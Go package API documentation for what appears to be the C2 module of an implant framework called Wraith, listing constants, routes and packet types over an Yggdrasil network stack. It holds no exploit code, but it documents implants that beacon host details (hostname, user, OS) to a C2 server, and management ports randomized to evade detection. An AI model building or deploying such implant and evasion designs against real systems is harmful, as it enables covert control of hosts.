Documentation ¶
Index ¶
- Constants
- func Marshal[P packet](p *P, signingKey ed25519.PrivateKey) ([]byte, error)
- func Unmarshal[P packet](p *P, verificationKey ed25519.PublicKey, data []byte) error
- type Node
- type PacketExchangeReq
- type PacketExchangeRes
- type PacketHeartbeatReq
- type YggdrasilNIC
- func (*YggdrasilNIC) ARPHardwareType() header.ARPHardwareType
- func (e *YggdrasilNIC) AddHeader(*stack.PacketBuffer)
- func (e *YggdrasilNIC) Attach(dispatcher stack.NetworkDispatcher)
- func (*YggdrasilNIC) Capabilities() stack.LinkEndpointCapabilities
- func (e *YggdrasilNIC) Close() error
- func (e *YggdrasilNIC) IsAttached() bool
- func (*YggdrasilNIC) LinkAddress() tcpip.LinkAddress
- func (e *YggdrasilNIC) MTU() uint32
- func (*YggdrasilNIC) MaxHeaderLength() uint16
- func (e *YggdrasilNIC) ParseHeader(*stack.PacketBuffer) bool
- func (*YggdrasilNIC) Wait()
- func (e *YggdrasilNIC) WritePackets(list stack.PacketBufferList) (int, tcpip.Error)
- func (e *YggdrasilNIC) WriteRawPacket(*stack.PacketBuffer) tcpip.Error
- type YggdrasilNetstack
- func (s *YggdrasilNetstack) DialContext(ctx context.Context, network, address string) (net.Conn, error)
- func (s *YggdrasilNetstack) DialTCP(addr *net.TCPAddr) (net.Conn, error)
- func (s *YggdrasilNetstack) DialUDP(addr *net.UDPAddr) (net.PacketConn, error)
- func (s *YggdrasilNetstack) ListenTCP(addr *net.TCPAddr) (net.Listener, error)
- func (s *YggdrasilNetstack) ListenUDP(addr *net.UDPAddr) (net.PacketConn, error)
- func (s *YggdrasilNetstack) NewYggdrasilNIC(ygg *core.Core) tcpip.Error
Constants ¶
View Source
const ( // The version of the wraith_module_comosum protocol supported by the current // version of the module. This is updated whenever a breaking change is made to // the protocol. // Typically generated by hashing a string describing the protocol. Unofficial // versions must be namespaced, by means of a prefix before the hash! // 0: md5("let there be light") CURRENT_PROTO = "bd52000e8ba92c956413c49794d3a600" // The range of ports the Comosum client can bind to on the Yggdrasil interface. // This is randomized to make detection more difficult from within the Yggdrasil // network by port scans for instance. MGMT_LISTEN_PORT_MIN = 10000 MGMT_LISTEN_PORT_MAX = 50000 // The port on the C2 which Comosum clients connect to. C2_PORT = 45235 // The prefix for all Comosum HTTP routes. ROUTE_PREFIX = "/_comosum/" + CURRENT_PROTO + "/" )
View Source
const ( // Wraiths hit this endpoint on the c2 to register their existence. ROUTE_HEARTBEAT = "h" // The c2 hits this endpoint to access the Wraith SHM. ROUTE_EXCHANGE = "x" )
Variables ¶
This section is empty.
Functions ¶
Types ¶
type Node ¶
type Node struct {
// contains filtered or unexported fields
}
func (*Node) Admin ¶
func (n *Node) Admin() *admin.AdminSocket
func (*Node) Config ¶
func (n *Node) Config() config.NodeConfig
func (*Node) GenerateConfig ¶
type PacketExchangeReq ¶
type PacketExchangeRes ¶
type PacketExchangeRes struct { // Result of the executed SHM commands. Set []string // The cells that have been updated. Get map[string]any // The contents of the requested cells mapped to their names. Watch map[string]int // The WatchIds of the cells that are watched because of this command, mapped to the cell names. Unwatch []struct { CellName string WatchId int } // The cell names of the cells that have been unwatched. Dump map[string]any // The full contents of the memory (if requested). Prune int // How many cells have been pruned. }
type PacketHeartbeatReq ¶
type PacketHeartbeatReq struct { // A unique fingerprint of the family/strain this Wraith belongs to. StrainId string // The time when this Wraith was initialised. InitTime time.Time // A list of the names of modules installed in this Wraith. Modules []string // The operating system Wraith is running on. HostOS string // The CPU architecture of the host. HostArch string // The system hostname. Hostname string // The name of the user under which Wraith is running. HostUser string // The ID of the user under which Wraith is running. HostUserId string // The host:port combo of this instance's management API. ManagementAPI string }
The structure of heartbeats which Wraiths send to c2 to register their existence.
type YggdrasilNIC ¶
type YggdrasilNIC struct {
// contains filtered or unexported fields
}
func (*YggdrasilNIC) ARPHardwareType ¶
func (*YggdrasilNIC) ARPHardwareType() header.ARPHardwareType
func (*YggdrasilNIC) AddHeader ¶
func (e *YggdrasilNIC) AddHeader(*stack.PacketBuffer)
func (*YggdrasilNIC) Attach ¶
func (e *YggdrasilNIC) Attach(dispatcher stack.NetworkDispatcher)
func (*YggdrasilNIC) Capabilities ¶
func (*YggdrasilNIC) Capabilities() stack.LinkEndpointCapabilities
func (*YggdrasilNIC) Close ¶
func (e *YggdrasilNIC) Close() error
func (*YggdrasilNIC) IsAttached ¶
func (e *YggdrasilNIC) IsAttached() bool
func (*YggdrasilNIC) LinkAddress ¶
func (*YggdrasilNIC) LinkAddress() tcpip.LinkAddress
func (*YggdrasilNIC) MTU ¶
func (e *YggdrasilNIC) MTU() uint32
func (*YggdrasilNIC) MaxHeaderLength ¶
func (*YggdrasilNIC) MaxHeaderLength() uint16
func (*YggdrasilNIC) ParseHeader ¶
func (e *YggdrasilNIC) ParseHeader(*stack.PacketBuffer) bool
func (*YggdrasilNIC) Wait ¶
func (*YggdrasilNIC) Wait()
func (*YggdrasilNIC) WritePackets ¶
func (e *YggdrasilNIC) WritePackets( list stack.PacketBufferList, ) (int, tcpip.Error)
func (*YggdrasilNIC) WriteRawPacket ¶
func (e *YggdrasilNIC) WriteRawPacket(*stack.PacketBuffer) tcpip.Error
type YggdrasilNetstack ¶
type YggdrasilNetstack struct {
// contains filtered or unexported fields
}
func CreateYggdrasilNetstack ¶
func CreateYggdrasilNetstack(ygg *Node) (*YggdrasilNetstack, error)
func (*YggdrasilNetstack) DialContext ¶
func (*YggdrasilNetstack) DialUDP ¶
func (s *YggdrasilNetstack) DialUDP(addr *net.UDPAddr) (net.PacketConn, error)
func (*YggdrasilNetstack) ListenUDP ¶
func (s *YggdrasilNetstack) ListenUDP(addr *net.UDPAddr) (net.PacketConn, error)
func (*YggdrasilNetstack) NewYggdrasilNIC ¶
func (s *YggdrasilNetstack) NewYggdrasilNIC(ygg *core.Core) tcpip.Error
Click to show internal directories.
Click to hide internal directories.